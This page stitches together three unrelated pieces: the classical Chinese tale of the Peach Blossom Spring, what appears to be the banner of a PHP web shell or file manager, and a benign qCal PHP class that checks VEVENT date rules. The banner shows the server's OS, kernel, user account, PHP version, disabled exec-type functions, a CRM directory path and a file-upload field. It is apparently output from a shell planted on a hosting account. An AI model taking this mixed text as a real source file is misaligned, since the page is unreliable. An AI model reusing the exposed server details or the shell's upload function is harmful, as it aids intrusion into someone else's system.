晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。 林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。 见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝) 既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。 南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。
|
Server : Apache System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64 User : rainic ( 1014) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system Directory : /home/akaindir/www/crm/modules/Mobile/third-party/qCal/qCal/Component/ |
Upload File : |
<?php
/**
* Event Component
* @package qCal
* @copyright Luke Visinoni (luke.visinoni@gmail.com)
* @author Luke Visinoni (luke.visinoni@gmail.com)
* @license GNU Lesser General Public License
*
* RFC 2445 Definition
*
* Component Name: "VEVENT"
*
* Purpose: Provide a grouping of component properties that describe an
* event.
*
* Format Definition: A "VEVENT" calendar component is defined by the
* following notation:
*
* eventc = "BEGIN" ":" "VEVENT" CRLF
* eventprop *alarmc
* "END" ":" "VEVENT" CRLF
*
* eventprop = *(
*
* ; the following are optional,
* ; but MUST NOT occur more than once
*
* class / created / description / dtstart / geo /
* last-mod / location / organizer / priority /
* dtstamp / seq / status / summary / transp /
* uid / url / recurid /
*
* ; either 'dtend' or 'duration' may appear in
* ; a 'eventprop', but 'dtend' and 'duration'
* ; MUST NOT occur in the same 'eventprop'
*
* dtend / duration /
*
* ; the following are optional,
* ; and MAY occur more than once
*
* attach / attendee / categories / comment /
* contact / exdate / exrule / rstatus / related /
* resources / rdate / rrule / x-prop
*
* )
*
* Description: A "VEVENT" calendar component is a grouping of component
* properties, and possibly including "VALARM" calendar components, that
* represents a scheduled amount of time on a calendar. For example, it
* can be an activity; such as a one-hour long, department meeting from
* 8:00 AM to 9:00 AM, tomorrow. Generally, an event will take up time
* on an individual calendar. Hence, the event will appear as an opaque
* interval in a search for busy time. Alternately, the event can have
* its Time Transparency set to "TRANSPARENT" in order to prevent
* blocking of the event in searches for busy time.
*
* The "VEVENT" is also the calendar component used to specify an
* anniversary or daily reminder within a calendar. These events have a
* DATE value type for the "DTSTART" property instead of the default
* data type of DATE-TIME. If such a "VEVENT" has a "DTEND" property, it
* MUST be specified as a DATE value also. The anniversary type of
* "VEVENT" can span more than one date (i.e, "DTEND" property value is
* set to a calendar date after the "DTSTART" property value).
*
* The "DTSTART" property for a "VEVENT" specifies the inclusive start
* of the event. For recurring events, it also specifies the very first
* instance in the recurrence set. The "DTEND" property for a "VEVENT"
* calendar component specifies the non-inclusive end of the event. For
* cases where a "VEVENT" calendar component specifies a "DTSTART"
* property with a DATE data type but no "DTEND" property, the events
* non-inclusive end is the end of the calendar date specified by the
* "DTSTART" property. For cases where a "VEVENT" calendar component
* specifies a "DTSTART" property with a DATE-TIME data type but no
* "DTEND" property, the event ends on the same calendar date and time
* of day specified by the "DTSTART" property.
*
* The "VEVENT" calendar component cannot be nested within another
* calendar component. However, "VEVENT" calendar components can be
* related to each other or to a "VTODO" or to a "VJOURNAL" calendar
* component with the "RELATED-TO" property.
*
* Example: The following is an example of the "VEVENT" calendar
* component used to represent a meeting that will also be opaque to
* searches for busy time:
*
* BEGIN:VEVENT
* UID:19970901T130000Z-123401@host.com
* DTSTAMP:19970901T1300Z
* DTSTART:19970903T163000Z
* DTEND:19970903T190000Z
* SUMMARY:Annual Employee Review
* CLASS:PRIVATE
* CATEGORIES:BUSINESS,HUMAN RESOURCES
* END:VEVENT
*
* The following is an example of the "VEVENT" calendar component used
* to represent a reminder that will not be opaque, but rather
* transparent, to searches for busy time:
*
* BEGIN:VEVENT
* UID:19970901T130000Z-123402@host.com
* DTSTAMP:19970901T1300Z
* DTSTART:19970401T163000Z
* DTEND:19970402T010000Z
* SUMMARY:Laurel is in sensitivity awareness class.
* CLASS:PUBLIC
* CATEGORIES:BUSINESS,HUMAN RESOURCES
* TRANSP:TRANSPARENT
* END:VEVENT
*
* The following is an example of the "VEVENT" calendar component used
* to represent an anniversary that will occur annually. Since it takes
* up no time, it will not appear as opaque in a search for busy time;
* no matter what the value of the "TRANSP" property indicates:
*
* BEGIN:VEVENT
* UID:19970901T130000Z-123403@host.com
* DTSTAMP:19970901T1300Z
* DTSTART:19971102
* SUMMARY:Our Blissful Anniversary
* CLASS:CONFIDENTIAL
* CATEGORIES:ANNIVERSARY,PERSONAL,SPECIAL OCCASION
* RRULE:FREQ=YEARLY
* END:VEVENT
*/
class qCal_Component_Vevent extends qCal_Component {
protected $name = "VEVENT";
protected $allowedComponents = array('VCALENDAR');
protected function doValidation() {
$properties = $this->getProperties();
$propnames = array_keys($properties);
if (in_array('DTEND', $propnames) && in_array('DURATION', $propnames)) {
throw new qCal_Exception_InvalidProperty('DTEND and DURATION cannot both occur in the same VEVENT component');
}
if (in_array('DTSTART', $propnames)) {
$dtstart = $this->getProperty('dtstart');
$dtstart = $dtstart[0];
// check that if dtstart is a DATE that dtend is a DATE
if ($dtstart->getType() == 'DATE') {
if (in_array('DTEND', $propnames)) {
$dtend = $this->getProperty('dtend');
$dtend = $dtend[0];
if ($dtend->getType() != 'DATE') {
throw new qCal_Exception_InvalidProperty('If DTSTART property is specified as a DATE property, so must DTEND');
}
}
}
// check that dtstart comes before dtend
if (in_array('DTEND', $propnames)) {
$dtend = $this->getProperty('dtend');
$dtend = $dtend[0];
$startdate = strtotime($dtstart->getValue());
$enddate = strtotime($dtend->getValue());
if ($startdate > $enddate) {
throw new qCal_Exception_InvalidProperty('DTSTART property must come before DTEND');
}
}
}
}
}